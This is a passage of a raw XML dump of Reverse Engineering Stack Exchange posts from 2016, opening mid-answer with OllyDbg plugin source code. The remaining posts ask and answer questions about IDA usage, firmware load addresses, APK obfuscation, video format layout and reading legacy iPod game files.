threadid,wchar_t *jumpaddr) {&#xA;  ulong length,declength; uchar cmd[MAXCMDSIZE],*decode; t_disasm da; t_reg *reg;&#xA;  length=Readmemory(cmd,addr,MAXCMDSIZE,MM_SILENT|MM_PARTIAL);&#xA;  decode=Finddecode(addr,&amp;amp;declength); reg=Threadregisters(threadid);&#xA;  length=Disasm(cmd,length,addr,decode,&amp;amp;da,DA_TEXT|DA_OPCOMM|DA_MEMORY,reg,NULL);&#xA;  Decodeknownbyaddr(da.jmpaddr,0,0,0,jumpaddr,1,1);&#xA;}&#xA;static int About(t_table *,wchar_t *,ulong ,int mode) {&#xA;  int n; wchar_t s[TEXTLEN]; if (mode==MENU_VERIFY) { return MENU_NORMAL; }&#xA;  else if (mode==MENU_EXECUTE) {&#xA;    Resumeallthreads(); n=StrcopyW(s,TEXTLEN,&#xA;        L&quot;BlabbTest plugin v 1\nCopyright from genesis to eternity blabb\n\n&quot;);&#xA;    wchar_t jaddy[TEXTLEN] ={0};&#xA;    Disassemble(Getcpudisasmselection(),Getcputhreadid(),jaddy);&#xA;    n+=StrcopyW(s+n,TEXTLEN-n,jaddy); MessageBoxW(0,s,L&quot;BlabbTest&quot;,0);&#xA;    Suspendallthreads(); return MENU_NOREDRAW;&#xA;  };  return MENU_ABSENT;&#xA;};&#xA;static t_menu mainmenu[] = {&#xA;  { L&quot;|BlabbTest&quot;, L&quot;About BlabbTest plugin&quot;, K_NONE, About, NULL, 0 },&#xA;  { NULL,NULL,K_NONE,NULL,NULL,0}    };&#xA;extc t_menu * __cdecl ODBG2_Pluginmenu(wchar_t *type) {&#xA;  if(wcscmp(type,PWM_DISASM)==0) { return mainmenu; }   return NULL;&#xA;};&#xA;BOOL WINAPI DllEntryPoint(HINSTANCE ,DWORD ,LPVOID ) { return 1; };&#xA;extc int __cdecl ODBG2_Pluginquery(int ollydbgversion,ulong *,&#xA;wchar_t pluginname[SHORTNAME],wchar_t pluginversion[SHORTNAME]) {&#xA;  if (ollydbgversion&amp;lt;201) {  return 0; }&#xA;  wcscpy_s(pluginname,SHORTNAME,L&quot;BlabbTest&quot;);&#xA;  wcscpy_s(pluginversion,SHORTNAME,L&quot;2.00.01&quot;);&#xA;  return PLUGIN_VERSION; };&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;here is the result &#xA;&lt;a href=&quot;https://i.stack.imgur.com/pp38a.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pp38a.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;instead of Decodeknownbyaddr() use Findlabel() to find the Label of jmpaddr&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#define _UNICODE&#xA;#include &amp;lt;windows.h&amp;gt;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &quot;plugin.h&quot;&#xA;static int About(t_table *,wchar_t *,ulong ,int mode) {&#xA;  int n; wchar_t s[TEXTLEN],labl[TEXTLEN];ulong length,addr;t_cmdinfo cmdinf={0};&#xA;  if ( mode==MENU_VERIFY ) { return MENU_NORMAL; }&#xA;  else if (mode==MENU_EXECUTE)   {&#xA;    Resumeallthreads();     n=StrcopyW(s,TEXTLEN,&#xA;    L&quot;BlabbTest plugin v 1\nCopyright from genesis to eternity blabb\n\n&quot;);&#xA;    uchar cmd[MAXCMDSIZE]; addr = Getcpudisasmselection();&#xA;    length=Readmemory(cmd,addr,MAXCMDSIZE,MM_SILENT|MM_PARTIAL);    &#xA;    Cmdinfo(cmd,length,addr,&amp;amp;cmdinf,0xfff,NULL);    &#xA;    Findlabel(cmdinf.jmpaddr,labl,0);&#xA;    n+=StrcopyW(s+n,TEXTLEN,labl);&#xA;    MessageBoxW(0,s,L&quot;BlabbTest&quot;,0);&#xA;    Suspendallthreads();     return MENU_NOREDRAW;&#xA;  };  return MENU_ABSENT;&#xA;};&#xA;static t_menu mainmenu[] = {&#xA;  { L&quot;|BlabbTest&quot;, L&quot;About BlabbTest plugin&quot;, K_NONE, About, NULL, 0 },&#xA;  { NULL,NULL,K_NONE,NULL,NULL,0}&#xA;};&#xA;extc t_menu * __cdecl ODBG2_Pluginmenu(wchar_t *type) {&#xA;  if(wcscmp(type,PWM_DISASM)==0) { return mainmenu; }&#xA;  return NULL;&#xA;};&#xA;BOOL WINAPI DllEntryPoint(HINSTANCE ,DWORD ,LPVOID ) { return 1; };&#xA;extc int __cdecl ODBG2_Pluginquery(int ollydbgversion,ulong *,&#xA;wchar_t pluginname[SHORTNAME],wchar_t pluginversion[SHORTNAME]) {&#xA;  if (ollydbgversion&amp;lt;201) {  return 0; }&#xA;  wcscpy_s(pluginname,SHORTNAME,L&quot;BlabbTest&quot;);&#xA;  wcscpy_s(pluginversion,SHORTNAME,L&quot;2.00.01&quot;);&#xA;  return PLUGIN_VERSION; };&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;well you should at-least customarily peruse the code and documentation &lt;/p&gt;&#xA;&#xA;&lt;p&gt;add these two lines and pass the t_reg * to cmdinfo to decode register or indirect calls &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  t_reg *reg;&#xA;  reg=Threadregisters(Getcputhreadid());&#xA;Cmdinfo(cmd,length,addr,&amp;amp;cmdinf,0xfff,reg);    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lTqMm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lTqMm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2016-11-18T11:18:45.410" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13947" PostTypeId="2" ParentId="13945" CreationDate="2016-11-16T18:18:31.377" Score="3" Body="&lt;p&gt;NB: This is an assumption which may or may not be true; I haven't tested that against any real file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems like the creators of the file format have been trying to save some space. They want to encode 256 colors (&quot;to encode 8-bit palettized video&quot;), so they'd need one byte per pixel. However, a certain smaller area of the screen ise likely to contain the same color pixels repeatedly. So, I'd say that each macroblock can contain only 16 different colors, representable in 4 bits/one nibble.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;code&gt;u8 pixels[16 * num_mblocks]&lt;/code&gt; it seems like each macroblock has 16 pixel definitions, which are indexes into the general palette table, and need 1 byte each. What follows is one nibble per pixel which is an index into &lt;code&gt;pixels&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, for example, the pixels for one macro block would have 16 bytes which are indexes into the palette; which may look like this: (Sorry for some of the color names; i ran out of names that fit in 5 characters ...)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----&#xA;+  1  +  2  +  3  +  4  +  5  +  6  +  7  +  8  +  9  +  A  +  B  +  C  +  D  +  E  +  F  +&#xA;+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----&#xA;| red |green|blue |yellw|magnt|cyan |grey |black|orang|gold |aqua |azure|ivory|plum |wheat|&#xA;+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Next, you need one nibble per pixel which is an index into that table. So the bytes CA 53 2D would represent 6 pixels being azure, gold, magenta, blue, green, and ivory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for a macroblock of 256 pixels you need 16 bytes for the pixel table, and 256/2=128 bytes for the pixels. Which sums up to the 144 that you calculated. The &lt;code&gt;u4 nibbles[num_mblocks]&lt;/code&gt; is probably wrong and should be &lt;code&gt;u4 nibbles[num_mblocks*pixels_per_mblock]&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2016-11-16T18:18:31.377" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13948" PostTypeId="1" CreationDate="2016-11-17T01:09:41.000" Score="2" ViewCount="6073" Body="&lt;p&gt;I've followed the tutorial found at: &lt;a href=&quot;http://www.devttys0.com/2011/05/reverse-engineering-firmware-linksys-wag120n/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.devttys0.com/2011/05/reverse-engineering-firmware-linksys-wag120n/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've loaded the uboot image into IDA, but I'm not sure how to determine the load address. I've looked through start.S for a general idea of how things work, but was unable to apply that when looking at the image. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found another tutorial describing how to determine the load address (&lt;a href=&quot;https://sviehb.wordpress.com/2011/09/09/reverse-engineering-an-obfuscated-firmware-image-e02-analysis/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://sviehb.wordpress.com/2011/09/09/reverse-engineering-an-obfuscated-firmware-image-e02-analysis/&lt;/a&gt;) but could not find the corresponding memory address of the .bss initialization loop in the uboot image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated! If you have any tips on determining the load address that would be awesome too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="17998" LastActivityDate="2017-04-08T05:05:48.400" Title="How to find Bootloader Load Address?" Tags="|ida|firmware|embedded|mips|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13952" PostTypeId="1" CreationDate="2016-11-17T10:28:56.890" Score="0" ViewCount="432" Body="&lt;p&gt;I'm trying to capture data from OllyDbg's info window (PWM_INFO), to do that I've captured that particular window using winspy++, how could i use the info provided by winspy++ with the WinAPI? I mean, which type of data will always be the same... in case of having several Olly instances opened I wanted my plugin to capture the info from the right Olly process. Example of information captured by winspy++&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/iVQ1o.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iVQ1o.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I've attempted so far:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Usb0T.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Usb0T.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could I be missing with that little snippet of code? I guess I'm not filling properly the &lt;code&gt;t_frame&lt;/code&gt; input structure but I don't know how.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find the WIP plugin's sources &lt;a href=&quot;https://github.com/brupelo/ollydbg201_plugins&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18079" LastEditorUserId="18079" LastEditDate="2016-11-17T23:49:17.123" LastActivityDate="2016-11-18T11:08:33.713" Title="How to capture Data from OllyDbg window?" Tags="|ollydbg|tools|winapi|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13953" PostTypeId="1" AcceptedAnswerId="13982" CreationDate="2016-11-17T11:56:19.103" Score="1" ViewCount="586" Body="&lt;p&gt;Is there any command in OllyScript that can fetch me table shown in Memory Map window of OllyDbg. (Memory window comes up when you click on &quot;M&quot; icon.) It shows address, size, Owner, Section, Contains, Type, Access, Initial, and Mapped as. But I only need Address, Size, Owner, contains. So even if I can somehow get these details it would be fine. &lt;/p&gt;&#xA;" OwnerUserId="18128" LastEditorUserId="2147" LastEditDate="2017-01-06T10:49:43.697" LastActivityDate="2017-01-06T10:49:43.697" Title="Getting Memory Map in OllyDbg using OllyScript" Tags="|ollydbg|ollyscript|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13957" PostTypeId="1" AcceptedAnswerId="13958" CreationDate="2016-11-17T14:14:59.750" Score="0" ViewCount="146" Body="&lt;p&gt;When decompiling an apk with &lt;strong&gt;apktool&lt;/strong&gt;, the &lt;code&gt;classes.dex&lt;/code&gt; file is decompiled into folders &lt;code&gt;smali_classes#&lt;/code&gt;, and sorted their respective packages. I recognize some of the files, as they are mentioned in &lt;code&gt;AndroidManifest.xml&lt;/code&gt;, but some classes and packages are named with one or two letters (Like &lt;strong&gt;aa&lt;/strong&gt;, &lt;strong&gt;az&lt;/strong&gt;, &lt;strong&gt;b&lt;/strong&gt;, etc.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think that this is obfuscation, because if someone was to obfuscate the code, they would probably apply it to every class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are these strangely named classes just some sort of reference made by the Android compiler, or could it indeed be obfuscated code? They don't seem to be references, as some of the single letter files are generally not too short.&lt;/p&gt;&#xA;" OwnerUserId="15199" LastActivityDate="2016-11-17T14:45:55.327" Title="What do the unusually named packages and files usually mean?" Tags="|decompilation|android|obfuscation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13958" PostTypeId="2" ParentId="13957" CreationDate="2016-11-17T14:45:55.327" Score="1" Body="&lt;p&gt;I'd still say these are obfuscated classes, probably not written by the author of the apk himself, but some 3rd-party library.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The provider of the 3rd-party library wants to protect their own implementation, so they provide a few unobfuscated class/method names to the world, and obfuscate their internal code. When someone else builds an apk, they'll include that library in their .dex file, so even if the app programmer doesn't obfuscate their classes, the classes that come from the 3rd party library are still obfuscated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, this is the listing of the files that Oracle's oraclepki.jar contains (not that I assume your app uses an oracle database, but that's an example I had handy):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ unzip -l oraclepki.jar&#xA;Archive:  oraclepki.jar&#xA;  Length      Date    Time    Name&#xA;---------  ---------- -----   ----&#xA;      233  2012-12-06 00:33   META-INF/MANIFEST.MF&#xA;     2272  2012-12-06 00:33   a.class&#xA;     8479  2012-12-06 00:33   KeyStoreTest.class&#xA;      242  2012-12-06 00:33   oracle/security/pki/BadPaddingException.class&#xA;     6160  2012-12-06 00:33   oracle/security/pki/a.class&#xA;     5575  2012-12-06 00:33   oracle/security/pki/b.class&#xA;      717  2012-12-06 00:33   oracle/security/pki/c.class&#xA;     5561  2012-12-06 00:33   oracle/security/pki/Cipher.class&#xA;     1360  2012-12-06 00:33   oracle/security/pki/CipherSpi.class&#xA;     9102  2012-12-06 00:33   oracle/security/pki/d.class&#xA;      926  2012-12-06 00:33   oracle/security/pki/DESSecretKey.class&#xA;     2395  2012-12-06 00:33   oracle/security/pki/e.class&#xA;      827  2012-12-06 00:33   oracle/security/pki/DESedeSecretKey.class&#xA;     2663  2012-12-06 00:33   oracle/security/pki/FileLocker.class&#xA;      248  2012-12-06 00:33   oracle/security/pki/IllegalBlockSizeException.class&#xA;      495  2012-12-06 00:33   oracle/security/pki/IvParameterSpec.class&#xA;     1367  2012-12-06 00:33   oracle/security/pki/NZNative.class&#xA;      245  2012-12-06 00:33   oracle/security/pki/NoSuchPaddingException.class&#xA;     5529  2012-12-06 00:33   oracle/security/pki/OracleCRL.class&#xA;     1094  2012-12-06 00:33   oracle/security/pki/OracleCertExtension.class&#xA;     2385  2012-12-06 00:33   oracle/security/pki/f.class&#xA;     9041  2012-12-06 00:33   oracle/security/pki/g.class&#xA;      592  2012-12-06 00:33   oracle/security/pki/h.class&#xA;     6513  2012-12-06 00:33   oracle/security/pki/i.class&#xA;     1212  2012-12-06 00:33   oracle/security/pki/j.class&#xA;      634  2012-12-06 00:33   oracle/security/pki/k.class&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Classes like &lt;code&gt;Cipher&lt;/code&gt;, &lt;code&gt;NZNative&lt;/code&gt; etc. are supposed to be callable from the outside, but Oracle doesn't want you to know what &lt;code&gt;a.class&lt;/code&gt;, &lt;code&gt;b.class&lt;/code&gt; etc. are doing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone built an app that somehow connects to an oracle database using the wallet feature, they'd have to include these classes into the app's classes.dex, so this is what you'd see in apktool as well.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2016-11-17T14:45:55.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13960" PostTypeId="1" CreationDate="2016-11-17T17:13:54.353" Score="8" ViewCount="11106" Body="&lt;p&gt;In IDA, how can you view the stack frame for a local function &lt;em&gt;when IDA does not recognize any locals&lt;/em&gt;? Normally this would be done by double clicking on a local, but there is no local to start with. It's also absent from the 'Open Subviews' menu.&lt;/p&gt;&#xA;" OwnerUserId="14098" LastEditorUserId="14098" LastEditDate="2016-11-17T18:31:07.010" LastActivityDate="2016-11-17T18:31:07.010" Title="IDA: View stack frame variables" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13961" PostTypeId="2" ParentId="13960" CreationDate="2016-11-17T17:15:16.907" Score="9" Body="&lt;p&gt;Although it doesn't appear to be documented anywhere (including in &lt;em&gt;The IDA Pro Book&lt;/em&gt;) , I stumbled upon an answer: &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;k&lt;/kbd&gt;. It was casually mentioned &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/3061/ida-pro-use-structs-on-parameters&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's also available in the menu Edit &gt; Functions &gt; Stack Variables&lt;/p&gt;&#xA;" OwnerUserId="14098" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2016-11-17T18:30:24.760" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13964" PostTypeId="1" CreationDate="2016-11-17T19:10:31.900" Score="1" ViewCount="714" Body="&lt;p&gt;How can one recognize the difference between &lt;code&gt;while (1)&lt;/code&gt; and &lt;code&gt;do ... while&lt;/code&gt; in assembly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="18131" LastEditorUserId="16199" LastEditDate="2016-11-18T08:51:58.323" LastActivityDate="2016-11-19T17:10:07.217" Title="How to differentiate between while(1) and do while?" Tags="|disassembly|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13965" PostTypeId="1" CreationDate="2016-11-17T20:35:37.307" Score="1" ViewCount="377" Body="&lt;p&gt;I have recently found a bunch of old iPod (pre-touch) games.  These &lt;code&gt;ipg&lt;/code&gt; files (similar to modern iOS &lt;code&gt;ipa&lt;/code&gt; files).  Are application bundles which contain resources (images, music files, textures), sometimes a localized strings file, and executables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each bundle contains a Manifest.plist file, with executable information.  Below is the manifest for Bomberman 1.0:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&#xA;&amp;lt;!DOCTYPE plist PUBLIC &quot;-//Apple Computer//DTD PLIST 1.0//EN&quot; &quot;http://www.apple.com/DTDs/PropertyList-1.0.dtd&quot;&amp;gt;&#xA;&amp;lt;plist version=&quot;1.0&quot;&amp;gt;&#xA;&amp;lt;dict&amp;gt;&#xA;    &amp;lt;key&amp;gt;BuildIdentifier&amp;lt;/key&amp;gt;&#xA;    &amp;lt;string&amp;gt;1465338237-ae7bdef1533&#xA;&amp;lt;/string&amp;gt;&#xA;    &amp;lt;key&amp;gt;Files&amp;lt;/key&amp;gt;&#xA;    &amp;lt;array&amp;gt;&#xA;        &amp;lt;dict&amp;gt;&#xA;            &amp;lt;key&amp;gt;Digest&amp;lt;/key&amp;gt;&#xA;            &amp;lt;string&amp;gt;D576EBCA193EA6C08060394435497CBE52288730&amp;lt;/string&amp;gt;&#xA;            &amp;lt;key&amp;gt;Path&amp;lt;/key&amp;gt;&#xA;            &amp;lt;string&amp;gt;bombLaunchm25.raw.lcd5&amp;lt;/string&amp;gt;&#xA;            &amp;lt;key&amp;gt;Size&amp;lt;/key&amp;gt;&#xA;            &amp;lt;integer&amp;gt;138256&amp;lt;/integer&amp;gt;&#xA;        &amp;lt;/dict&amp;gt;&#xA;        &amp;lt;dict&amp;gt;&#xA;            &amp;lt;key&amp;gt;DRM&amp;lt;/key&amp;gt;&#xA;            &amp;lt;true/&amp;gt;&#xA;            &amp;lt;key&amp;gt;Digest&amp;lt;/key&amp;gt;&#xA;            &amp;lt;string&amp;gt;10A5CD8E82B692D4A3136753639FFE9EC96F9E72&amp;lt;/string&amp;gt;&#xA;            &amp;lt;key&amp;gt;Path&amp;lt;/key&amp;gt;&#xA;            &amp;lt;string&amp;gt;Executables/iPodBomberman_7052137.bin&amp;lt;/string&amp;gt;&#xA;            &amp;lt;key&amp;gt;Size&amp;lt;/key&amp;gt;&#xA;            &amp;lt;integer&amp;gt;425664&amp;lt;/integer&amp;gt;&#xA;            &amp;lt;key&amp;gt;Verify&amp;lt;/key&amp;gt;&#xA;            &amp;lt;true/&amp;gt;&#xA;        &amp;lt;/dict&amp;gt;&#xA;        &amp;lt;dict&amp;gt;&#xA;            &amp;lt;key&amp;gt;Digest&amp;lt;/key&amp;gt;&#xA;            &amp;lt;string&amp;gt;3DBFC1556706CF12555448CC5103FCCB59E6E773&amp;lt;/string&amp;gt;&#xA;            &amp;lt;key&amp;gt;Path&amp;lt;/key&amp;gt;&#xA;            &amp;lt;string&amp;gt;bombLaunchm1a.raw.lcd5&amp;lt;/string&amp;gt;&#xA;            &amp;lt;key&amp;gt;Size&amp;lt;/key&amp;gt;&#xA;            &amp;lt;integer&amp;gt;6176&amp;lt;/integer&amp;gt;&#xA;        &amp;lt;/dict&amp;gt;&#xA;        &amp;lt;dict&amp;gt;&#xA;            &amp;lt;key&amp;gt;DRM&amp;lt;/key&amp;gt;&#xA;            &amp;lt;true/&amp;gt;&#xA;            &amp;lt;key&amp;gt;Digest&amp;lt;/key&amp;gt;&#xA;            &amp;lt;string&amp;gt;99B99192D77939DAB9A7E05AEB9ED564D33ECFDB&amp;lt;/string&amp;gt;&#xA;            &amp;lt;key&amp;gt;Path&amp;lt;/key&amp;gt;&#xA;            &amp;lt;string&amp;gt;Executables/iPodBomberman_7052208.bin&amp;lt;/string&amp;gt;&#xA;            &amp;lt;key&amp;gt;Size&amp;lt;/key&amp;gt;&#xA;            &amp;lt;integer&amp;gt;633344&amp;lt;/integer&amp;gt;&#xA;            &amp;lt;key&amp;gt;Verify&amp;lt;/key&amp;gt;&#xA;            &amp;lt;true/&amp;gt;&#xA;        &amp;lt;/dict&amp;gt;&#xA;    &amp;lt;/array&amp;gt;&#xA;    &amp;lt;key&amp;gt;GUID&amp;lt;/key&amp;gt;&#xA;    &amp;lt;string&amp;gt;20000&amp;lt;/string&amp;gt;&#xA;    &amp;lt;key&amp;gt;Name&amp;lt;/key&amp;gt;&#xA;    &amp;lt;string&amp;gt;Bomberman&amp;lt;/string&amp;gt;&#xA;    &amp;lt;key&amp;gt;Platforms&amp;lt;/key&amp;gt;&#xA;    &amp;lt;array&amp;gt;&#xA;        &amp;lt;dict&amp;gt;&#xA;            &amp;lt;key&amp;gt;BuildID&amp;lt;/key&amp;gt;&#xA;            &amp;lt;integer&amp;gt;7052137&amp;lt;/integer&amp;gt;&#xA;            &amp;lt;key&amp;gt;ExecutablePath&amp;lt;/key&amp;gt;&#xA;            &amp;lt;string&amp;gt;Executables/iPodBomberman_7052137.bin&amp;lt;/string&amp;gt;&#xA;            &amp;lt;key&amp;gt;LaunchingArtwork&amp;lt;/key&amp;gt;&#xA;            &amp;lt;string&amp;gt;bombLaunchm25.raw.lcd5&amp;lt;/string&amp;gt;&#xA;            &amp;lt;key&amp;gt;PlatformID&amp;lt;/key&amp;gt;&#xA;            &amp;lt;integer&amp;gt;1&amp;lt;/integer&amp;gt;&#xA;            &amp;lt;key&amp;gt;PlatformVersion&amp;lt;/key&amp;gt;&#xA;            &amp;lt;integer&amp;gt;1&amp;lt;/integer&amp;gt;&#xA;            &amp;lt;key&amp;gt;Size&amp;lt;/key&amp;gt;&#xA;            &amp;lt;integer&amp;gt;425664&amp;lt;/integer&amp;gt;&#xA;        &amp;lt;/dict&amp;gt;&#xA;        &amp;lt;dict&amp;gt;&#xA;            &amp;lt;key&amp;gt;BuildID&amp;lt;/key&amp;gt;&#xA;            &amp;lt;integer&amp;gt;7052208&amp;lt;/integer&amp;gt;&#xA;            &amp;lt;key&amp;gt;ExecutablePath&amp;lt;/key&amp;gt;&#xA;            &amp;lt;string&amp;gt;Executables/iPodBomberman_7052208.bin&amp;lt;/string&amp;gt;&#xA;            &amp;lt;key&amp;gt;LaunchingArtwork&amp;lt;/key&amp;gt;&#xA;            &amp;lt;string&amp;gt;bombLaunchm1a.raw.lcd5&amp;lt;/string&amp;gt;&#xA;            &amp;lt;key&amp;gt;PlatformID&amp;lt;/key&amp;gt;&#xA;            &amp;lt;integer&amp;gt;2&amp;lt;/integer&amp;gt;&#xA;            &amp;lt;key&amp;gt;PlatformVersion&amp;lt;/key&amp;gt;&#xA;            &amp;lt;integer&amp;gt;1&amp;lt;/integer&amp;gt;&#xA;            &amp;lt;key&amp;gt;Size&amp;lt;/key&amp;gt;&#xA;            &amp;lt;integer&amp;gt;633344&amp;lt;/integer&amp;gt;&#xA;        &amp;lt;/dict&amp;gt;&#xA;        &amp;lt;dict&amp;gt;&#xA;            &amp;lt;key&amp;gt;BuildID&amp;lt;/key&amp;gt;&#xA;            &amp;lt;integer&amp;gt;7052208&amp;lt;/integer&amp;gt;&#xA;            &amp;lt;key&amp;gt;ExecutablePath&amp;lt;/key&amp;gt;&#xA;            &amp;lt;string&amp;gt;Executables/iPodBomberman_7052208.bin&amp;lt;/string&amp;gt;&#xA;            &amp;lt;key&amp;gt;LaunchingArtwork&amp;lt;/key&amp;gt;&#xA;            &amp;lt;string&amp;gt;bombLaunchm1a.raw.lcd5&amp;lt;/string&amp;gt;&#xA;            &amp;lt;key&amp;gt;PlatformID&amp;lt;/key&amp;gt;&#xA;            &amp;lt;integer&amp;gt;3&amp;lt;/integer&amp;gt;&#xA;            &amp;lt;key&amp;gt;PlatformVersion&amp;lt;/key&amp;gt;&#xA;            &amp;lt;integer&amp;gt;1&amp;lt;/integer&amp;gt;&#xA;            &amp;lt;key&amp;gt;Size&amp;lt;/key&amp;gt;&#xA;            &amp;lt;integer&amp;gt;633344&amp;lt;/integer&amp;gt;&#xA;        &amp;lt;/dict&amp;gt;&#xA;    &amp;lt;/array&amp;gt;&#xA;    &amp;lt;key&amp;gt;Version&amp;lt;/key&amp;gt;&#xA;    &amp;lt;string&amp;gt;1.0&amp;lt;/string&amp;gt;&#xA;&amp;lt;/dict&amp;gt;&#xA;&amp;lt;/plist&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The Manifest appears to contain two different builds (one is listed twice), presumably for two different iPod architectures (?).  For each executable there also appears to be an accompanying &lt;code&gt;.bin.sinf&lt;/code&gt; file, which I believe contains purchaser information used by Apple's FairPlay DRM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's where I get stuck:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Running &lt;code&gt;strings&lt;/code&gt; on either of the executables, &lt;code&gt;.bin.sinf&lt;/code&gt; files, or the &lt;code&gt;.raw.lcd5&lt;/code&gt; files prints garbage.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Running &lt;code&gt;nm&lt;/code&gt; gives me an error that the files are not object files.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;file&lt;/code&gt; just tells me that the files are binary data.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I cannot use &lt;code&gt;otool&lt;/code&gt; because the files are not Mach-O binaries.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;According to Wikipedia, all iPods before the 6th gen classic used an ARM processor (one or more 7TDMI-derived CPUs).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are my options for dissembling or reading any of the information (strings, etc) of these executables and binary files?&lt;/p&gt;&#xA;" OwnerUserId="17972" LastEditorUserId="60" LastEditDate="2016-11-18T08:22:09.333" LastActivityDate="2016-11-18T08:22:09.333" Title="Reverse Engineering Legacy iPod Click Wheel Games" Tags="|ipod|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
